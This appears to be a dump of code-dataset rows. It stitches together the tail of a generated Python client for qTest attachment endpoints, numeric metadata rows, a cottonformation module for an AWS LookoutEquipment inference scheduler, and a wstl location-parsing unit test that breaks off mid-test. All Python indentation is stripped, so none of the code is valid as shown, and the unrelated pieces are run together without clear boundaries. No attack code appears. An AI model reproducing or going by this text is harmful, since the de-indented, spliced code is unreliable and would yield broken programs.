asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_attachment(project_id, attachment_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param int attachment_id: ID of attachment (required)
:param str object_type: Valid values include <em>release</em>, <em>build</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-logs</em>, <em>test-steps</em>, or <em>defects</em> (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: OutputStream
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_attachment_with_http_info(project_id, attachment_id, object_type, object_id, **kwargs)
else:
(data) = self.get_attachment_with_http_info(project_id, attachment_id, object_type, object_id, **kwargs)
return data
def get_attachment_with_http_info(self, project_id, attachment_id, object_type, object_id, **kwargs):
"""
Gets an Attachment of an Object
To retrieve an Attachment from a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_attachment_with_http_info(project_id, attachment_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param int attachment_id: ID of attachment (required)
:param str object_type: Valid values include <em>release</em>, <em>build</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-logs</em>, <em>test-steps</em>, or <em>defects</em> (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: OutputStream
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['project_id', 'attachment_id', 'object_type', 'object_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_attachment" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'project_id' is set
if ('project_id' not in params) or (params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_attachment`")
# verify the required parameter 'attachment_id' is set
if ('attachment_id' not in params) or (params['attachment_id'] is None):
raise ValueError("Missing the required parameter `attachment_id` when calling `get_attachment`")
# verify the required parameter 'object_type' is set
if ('object_type' not in params) or (params['object_type'] is None):
raise ValueError("Missing the required parameter `object_type` when calling `get_attachment`")
# verify the required parameter 'object_id' is set
if ('object_id' not in params) or (params['object_id'] is None):
raise ValueError("Missing the required parameter `object_id` when calling `get_attachment`")
collection_formats = {}
resource_path = '/api/v3/projects/{projectId}/{objectType}/{objectId}/attachments/{attachmentId}'.replace('{format}', 'json')
path_params = {}
if 'project_id' in params:
path_params['projectId'] = params['project_id']
if 'attachment_id' in params:
path_params['attachmentId'] = params['attachment_id']
if 'object_type' in params:
path_params['objectType'] = params['object_type']
if 'object_id' in params:
path_params['objectId'] = params['object_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Authorization']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='OutputStream',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_attachments_of(self, project_id, object_type, object_id, **kwargs):
"""
Gets all Attachments of an Object
To retrieve all Attachments of a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_attachments_of(project_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str object_type: Valid values include <em>release</em>, <em>build</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-logs</em>, <em>test-steps</em>, or <em>defects</em> (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: list[AttachmentResource]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_attachments_of_with_http_info(project_id, object_type, object_id, **kwargs)
else:
(data) = self.get_attachments_of_with_http_info(project_id, object_type, object_id, **kwargs)
return data
def get_attachments_of_with_http_info(self, project_id, object_type, object_id, **kwargs):
"""
Gets all Attachments of an Object
To retrieve all Attachments of a Release, Build, Requirement, Test Case, Test Log, Test Step or Defect
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_attachments_of_with_http_info(project_id, object_type, object_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str object_type: Valid values include <em>release</em>, <em>build</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-logs</em>, <em>test-steps</em>, or <em>defects</em> (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:return: list[AttachmentResource]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['project_id', 'object_type', 'object_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_attachments_of" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'project_id' is set
if ('project_id' not in params) or (params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_attachments_of`")
# verify the required parameter 'object_type' is set
if ('object_type' not in params) or (params['object_type'] is None):
raise ValueError("Missing the required parameter `object_type` when calling `get_attachments_of`")
# verify the required parameter 'object_id' is set
if ('object_id' not in params) or (params['object_id'] is None):
raise ValueError("Missing the required parameter `object_id` when calling `get_attachments_of`")
collection_formats = {}
resource_path = '/api/v3/projects/{projectId}/{objectType}/{objectId}/attachments'.replace('{format}', 'json')
path_params = {}
if 'project_id' in params:
path_params['projectId'] = params['project_id']
if 'object_type' in params:
path_params['objectType'] = params['object_type']
if 'object_id' in params:
path_params['objectId'] = params['object_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Authorization']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[AttachmentResource]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def search(self, project_id, type, **kwargs):
"""
Searches for Attachments
To query for attachments of <em>Releases</em>, <em>Builds</em>, <em>Requirements</em>, <em>Test Cases</em>, <em>Test Logs</em>, <em>Test Steps</em> or <em>Defects</em>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.search(project_id, type, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str type: Its valid values include <em>releases</em>, <em>builds</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-steps</em>, <em>test-logs</em> or <em>defects</em> (required)
:param list[int] ids: List of object IDs (of the same type as specified in the parameter above), separated by commas
:param int author: ID of the user who created the attachment
:param str created_date: Its format is: <strong>{operator} {createdDate in timestamp or UTC}</strong> The <em>operator</em> can be one of the following values: <b>lt</b>: less than the given date <b>gt</b>: greater than given date <b>eq</b>: equal to the given date <b>le</b>: less than or equal to the given date <b>ge</b>: greater then or equal to the given date
:param int page_size: The result is paginated. By the default, the number of objects in each page is 100 if this is omitted. You can specify your custom number (up to 999) in this parameter
:param int page: By default, the first page is returned but you can specify any page number to retrieve attachments
:return: PagedResourceAttachmentResource
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.search_with_http_info(project_id, type, **kwargs)
else:
(data) = self.search_with_http_info(project_id, type, **kwargs)
return data
def search_with_http_info(self, project_id, type, **kwargs):
"""
Searches for Attachments
To query for attachments of <em>Releases</em>, <em>Builds</em>, <em>Requirements</em>, <em>Test Cases</em>, <em>Test Logs</em>, <em>Test Steps</em> or <em>Defects</em>
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.search_with_http_info(project_id, type, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str type: Its valid values include <em>releases</em>, <em>builds</em>, <em>requirements</em>, <em>test-cases</em>, <em>test-steps</em>, <em>test-logs</em> or <em>defects</em> (required)
:param list[int] ids: List of object IDs (of the same type as specified in the parameter above), separated by commas
:param int author: ID of the user who created the attachment
:param str created_date: Its format is: <strong>{operator} {createdDate in timestamp or UTC}</strong> The <em>operator</em> can be one of the following values: <b>lt</b>: less than the given date <b>gt</b>: greater than given date <b>eq</b>: equal to the given date <b>le</b>: less than or equal to the given date <b>ge</b>: greater then or equal to the given date
:param int page_size: The result is paginated. By the default, the number of objects in each page is 100 if this is omitted. You can specify your custom number (up to 999) in this parameter
:param int page: By default, the first page is returned but you can specify any page number to retrieve attachments
:return: PagedResourceAttachmentResource
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['project_id', 'type', 'ids', 'author', 'created_date', 'page_size', 'page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method search" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'project_id' is set
if ('project_id' not in params) or (params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `search`")
# verify the required parameter 'type' is set
if ('type' not in params) or (params['type'] is None):
raise ValueError("Missing the required parameter `type` when calling `search`")
collection_formats = {}
resource_path = '/api/v3/projects/{projectId}/attachments'.replace('{format}', 'json')
path_params = {}
if 'project_id' in params:
path_params['projectId'] = params['project_id']
query_params = {}
if 'type' in params:
query_params['type'] = params['type']
if 'ids' in params:
query_params['ids'] = params['ids']
collection_formats['ids'] = 'multi'
if 'author' in params:
query_params['author'] = params['author']
if 'created_date' in params:
query_params['createdDate'] = params['created_date']
if 'page_size' in params:
query_params['pageSize'] = params['page_size']
if 'page' in params:
query_params['page'] = params['page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Authorization']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PagedResourceAttachmentResource',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def upload(self, project_id, object_type, object_id, file_name, content_type, body, **kwargs):
"""
Uploads an Attachment to an Object
To upload an Attachment to a Release, Build, Requirement, Test Case, Test Log, Test Step, or Defect
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.upload(project_id, object_type, object_id, file_name, content_type, body, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str object_type: Valid values include releases, builds, requirements, test-cases, test-logs, test-steps or defects <strong>qTest Manager version:</strong> 4+ (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:param str file_name: (required)
:param str content_type: (required)
:param str body: (required)
:return: AttachmentResource
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.upload_with_http_info(project_id, object_type, object_id, file_name, content_type, body, **kwargs)
else:
(data) = self.upload_with_http_info(project_id, object_type, object_id, file_name, content_type, body, **kwargs)
return data
def upload_with_http_info(self, project_id, object_type, object_id, file_name, content_type, body, **kwargs):
"""
Uploads an Attachment to an Object
To upload an Attachment to a Release, Build, Requirement, Test Case, Test Log, Test Step, or Defect
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.upload_with_http_info(project_id, object_type, object_id, file_name, content_type, body, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int project_id: ID of the project (required)
:param str object_type: Valid values include releases, builds, requirements, test-cases, test-logs, test-steps or defects <strong>qTest Manager version:</strong> 4+ (required)
:param int object_id: ID of the object (Release, Build, Requirement, Test Case, Test Log, Test Step or Defect) (required)
:param str file_name: (required)
:param str content_type: (required)
:param str body: (required)
:return: AttachmentResource
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['project_id', 'object_type', 'object_id', 'file_name', 'content_type', 'body']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method upload" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'project_id' is set
if ('project_id' not in params) or (params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `upload`")
# verify the required parameter 'object_type' is set
if ('object_type' not in params) or (params['object_type'] is None):
raise ValueError("Missing the required parameter `object_type` when calling `upload`")
# verify the required parameter 'object_id' is set
if ('object_id' not in params) or (params['object_id'] is None):
raise ValueError("Missing the required parameter `object_id` when calling `upload`")
# verify the required parameter 'file_name' is set
if ('file_name' not in params) or (params['file_name'] is None):
raise ValueError("Missing the required parameter `file_name` when calling `upload`")
# verify the required parameter 'content_type' is set
if ('content_type' not in params) or (params['content_type'] is None):
raise ValueError("Missing the required parameter `content_type` when calling `upload`")
# verify the required parameter 'body' is set
if ('body' not in params) or (params['body'] is None):
raise ValueError("Missing the required parameter `body` when calling `upload`")
collection_formats = {}
resource_path = '/api/v3/projects/{projectId}/{objectType}/{objectId}/blob-handles'.replace('{format}', 'json')
path_params = {}
if 'project_id' in params:
path_params['projectId'] = params['project_id']
if 'object_type' in params:
path_params['objectType'] = params['object_type']
if 'object_id' in params:
path_params['objectId'] = params['object_id']
query_params = {}
header_params = {}
if 'file_name' in params:
header_params['File-Name'] = params['file_name']
if 'content_type' in params:
header_params['Content-Type'] = params['content_type']
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# Authentication setting
auth_settings = ['Authorization']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AttachmentResource',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 53.704268
| 379
| 0.597502
| 4,050
| 35,230
| 5.016296
| 0.062469
| 0.033225
| 0.037409
| 0.024808
| 0.929366
| 0.918882
| 0.910415
| 0.903967
| 0.884574
| 0.865623
| 0
| 0.001652
| 0.312716
| 35,230
| 655
| 380
| 53.78626
| 0.837401
| 0.398638
| 0
| 0.664634
| 1
| 0
| 0.225041
| 0.037924
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033537
| false
| 0
| 0.021341
| 0
| 0.103659
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d8b8d71793d4a4baa993276a170154d40d13e03c
| 6,656
|
py
|
Python
|
cottonformation/res/lookoutequipment.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 5
|
2021-07-22T03:45:59.000Z
|
2021-12-17T21:07:14.000Z
|
cottonformation/res/lookoutequipment.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 1
|
2021-06-25T18:01:31.000Z
|
2021-06-25T18:01:31.000Z
|
cottonformation/res/lookoutequipment.py
|
MacHu-GWU/cottonformation-project
|
23e28c08cfb5a7cc0db6dbfdb1d7e1585c773f3b
|
[
"BSD-2-Clause"
] | 2
|
2021-06-27T03:08:21.000Z
|
2021-06-28T22:15:51.000Z
|
# -*- coding: utf-8 -*-
"""
This module
"""
import attr
import typing
from ..core.model import (
Property, Resource, Tag, GetAtt, TypeHint, TypeCheck,
)
from ..core.constant import AttrMeta
#--- Property declaration ---
#--- Resource declaration ---
@attr.s
class InferenceScheduler(Resource):
"""
AWS Object Type = "AWS::LookoutEquipment::InferenceScheduler"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html
Property Document:
- ``rp_DataInputConfiguration``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datainputconfiguration
- ``rp_DataOutputConfiguration``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-dataoutputconfiguration
- ``rp_DataUploadFrequency``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datauploadfrequency
- ``rp_ModelName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-modelname
- ``rp_RoleArn``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-rolearn
- ``p_DataDelayOffsetInMinutes``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datadelayoffsetinminutes
- ``p_InferenceSchedulerName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-inferenceschedulername
- ``p_ServerSideKmsKeyId``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-serversidekmskeyid
- ``p_Tags``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-tags
"""
AWS_OBJECT_TYPE = "AWS::LookoutEquipment::InferenceScheduler"
rp_DataInputConfiguration: dict = attr.ib(
default=None,
validator=attr.validators.instance_of(dict),
metadata={AttrMeta.PROPERTY_NAME: "DataInputConfiguration"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datainputconfiguration"""
rp_DataOutputConfiguration: dict = attr.ib(
default=None,
validator=attr.validators.instance_of(dict),
metadata={AttrMeta.PROPERTY_NAME: "DataOutputConfiguration"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-dataoutputconfiguration"""
rp_DataUploadFrequency: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "DataUploadFrequency"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datauploadfrequency"""
rp_ModelName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "ModelName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-modelname"""
rp_RoleArn: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "RoleArn"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-rolearn"""
p_DataDelayOffsetInMinutes: int = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(int)),
metadata={AttrMeta.PROPERTY_NAME: "DataDelayOffsetInMinutes"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-datadelayoffsetinminutes"""
p_InferenceSchedulerName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "InferenceSchedulerName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-inferenceschedulername"""
p_ServerSideKmsKeyId: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "ServerSideKmsKeyId"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-serversidekmskeyid"""
p_Tags: typing.List[typing.Union[Tag, dict]] = attr.ib(
default=None,
converter=Tag.from_list,
validator=attr.validators.optional(attr.validators.deep_iterable(member_validator=attr.validators.instance_of(Tag), iterable_validator=attr.validators.instance_of(list))),
metadata={AttrMeta.PROPERTY_NAME: "Tags"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#cfn-lookoutequipment-inferencescheduler-tags"""
@property
def rv_InferenceSchedulerArn(self) -> GetAtt:
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lookoutequipment-inferencescheduler.html#aws-resource-lookoutequipment-inferencescheduler-return-values"""
return GetAtt(resource=self, attr_name="InferenceSchedulerArn")
| 64
| 218
| 0.782903
| 649
| 6,656
| 7.936826
| 0.115562
| 0.270627
| 0.110076
| 0.18346
| 0.858668
| 0.841778
| 0.813628
| 0.813628
| 0.813628
| 0.813628
| 0
| 0.000166
| 0.096755
| 6,656
| 103
| 219
| 64.621359
| 0.85662
| 0.345102
| 0
| 0.275862
| 0
| 0
| 0.079848
| 0.058175
| 0
| 0
| 0
| 0
| 0
| 1
| 0.017241
| false
| 0
| 0.068966
| 0
| 0.293103
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d8de12a8dffe65dd5b5a9827a788a518b074ac78
| 12,413
|
py
|
Python
|
tools/notebook/extensions/wstl/magics/_location_test.py
|
jianliyyh/healthcare-data-harmonization
|
0d7270edd60c7e29c63bcfb70d3df6331ef35d1f
|
[
"Apache-2.0"
] | 1
|
2020-12-14T20:11:53.000Z
|
2020-12-14T20:11:53.000Z
|
tools/notebook/extensions/wstl/magics/_location_test.py
|
GS-/healthcare-data-harmonization
|
9eac622f688b02bfbf90b19c708ccff76fc108dc
|
[
"Apache-2.0"
] | null | null | null |
tools/notebook/extensions/wstl/magics/_location_test.py
|
GS-/healthcare-data-harmonization
|
9eac622f688b02bfbf90b19c708ccff76fc108dc
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""Tests for wstl.magics._location."""
import json
from os import path
from absl.testing import absltest
from IPython.testing.globalipapp import get_ipython
from unittest import mock
from google.cloud import storage
from wstl.magics import _constants
from wstl.magics import _location
_ip = get_ipython()
class LocationTest(absltest.TestCase):
def test_parse_location_json_prefix_object_success(self):
shell = mock.MagicMock()
input_wstl_arg = """json://{"hello":"world"}"""
locations = _location.parse_location(shell, input_wstl_arg, file_ext=None)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, "{\"hello\":\"world\"}")
def test_parse_location_json_prefix_list_success(self):
shell = mock.MagicMock()
input_wstl_arg = """json://[{"first": "world"},{"second": "world"}]"""
locations = _location.parse_location(shell, input_wstl_arg, file_ext=None)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json,
"""[{"first": "world"},{"second": "world"}]""")
@mock.patch.object(storage, "Client", autospec=True)
@mock.patch.object(storage, "Bucket", autospec=True)
def test_parse_location_gs_prefix_success(self, mock_bucket, mock_client):
class Item(object):
def __init__(self, bucket_name, name):
self.bucket = bucket_name
self.name = name
class FakeBucket(object):
def __init__(self, bucket_name):
self.name = bucket_name
bucket = FakeBucket("dummy_bucket")
items = [
Item(bucket, "file1.wstl"),
Item(bucket, "lib_folder/file2.wstl"),
Item(bucket, "lib_folder/file3.txt"),
Item(bucket, "input.json")
]
mock_bucket.list_blobs.return_value = iter(items)
mock_client.return_value.get_bucket.return_value = mock_bucket
shell = mock.MagicMock()
input_wstl_arg = "gs://dummy_bucket/input.json"
locations = _location.parse_location(
shell, input_wstl_arg, file_ext=_constants.JSON_FILE_EXT)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("gcs_location"))
self.assertEqual(locations[0].gcs_location, input_wstl_arg)
@mock.patch.object(storage, "Client", autospec=True)
@mock.patch.object(storage, "Bucket", autospec=True)
def test_parse_location_gs_prefix_wildcard_success(self, mock_bucket,
mock_client):
class Item(object):
def __init__(self, bucket, name):
self.bucket = bucket
self.name = name
class FakeBucket(object):
def __init__(self, bucket_name):
self.name = bucket_name
bucket = FakeBucket("dummy_bucket")
items = [
Item(bucket, "file1.txt"),
Item(bucket, "lib_folder/file2.wstl"),
Item(bucket, "lib_folder/file3.wstl"),
Item(bucket, "lib_folder/file4.json"),
Item(bucket, "input.json")
]
mock_bucket.list_blobs.return_value = iter(items)
mock_client.return_value.get_bucket.return_value = mock_bucket
shell = mock.MagicMock()
input_wstl_arg = "gs://dummy_bucket/lib_folder/*"
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.WSTL_FILE_EXT,
load_contents=False)
self.assertLen(locations, 2)
self.assertTrue(locations[0].HasField("gcs_location"))
self.assertEqual(locations[0].gcs_location,
"gs://dummy_bucket/lib_folder/file2.wstl")
self.assertTrue(locations[1].HasField("gcs_location"))
self.assertEqual(locations[1].gcs_location,
"gs://dummy_bucket/lib_folder/file3.wstl")
@mock.patch.object(storage, "Client", autospec=True)
@mock.patch.object(storage, "Bucket", autospec=True)
def test_parse_location_gs_prefix_wildcard_unsupported_ext(
self, mock_bucket, mock_client):
class Item(object):
def __init__(self, bucket, name):
self.bucket = bucket
self.name = name
class FakeBucket(object):
def __init__(self, bucket_name):
self.name = bucket_name
bucket = FakeBucket("dummy_bucket")
items = [
Item(bucket, "file1.txt"),
Item(bucket, "lib_folder/file2.wstl"),
Item(bucket, "lib_folder/file3.wstl"),
Item(bucket, "lib_folder/file4.json"),
Item(bucket, "input.json")
]
mock_bucket.list_blobs.return_value = iter(items)
mock_client.return_value.get_bucket.return_value = mock_bucket
shell = mock.MagicMock()
input_wstl_arg = "gs://dummy_bucket/*.txt"
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.WSTL_FILE_EXT,
load_contents=False)
self.assertEmpty(locations)
def test_parse_location_file_prefix_file_exists_success(self):
shell = mock.MagicMock()
content = """{"hello": "world"}"""
tmp_file = self.create_tempfile(
file_path="dummy.json", content=content, mode="w")
input_wstl_arg = "file://{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell, input_wstl_arg, file_ext=_constants.JSON_FILE_EXT)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, content)
def test_parse_location_file_prefix_wstl_suffix_success(self):
shell = mock.MagicMock()
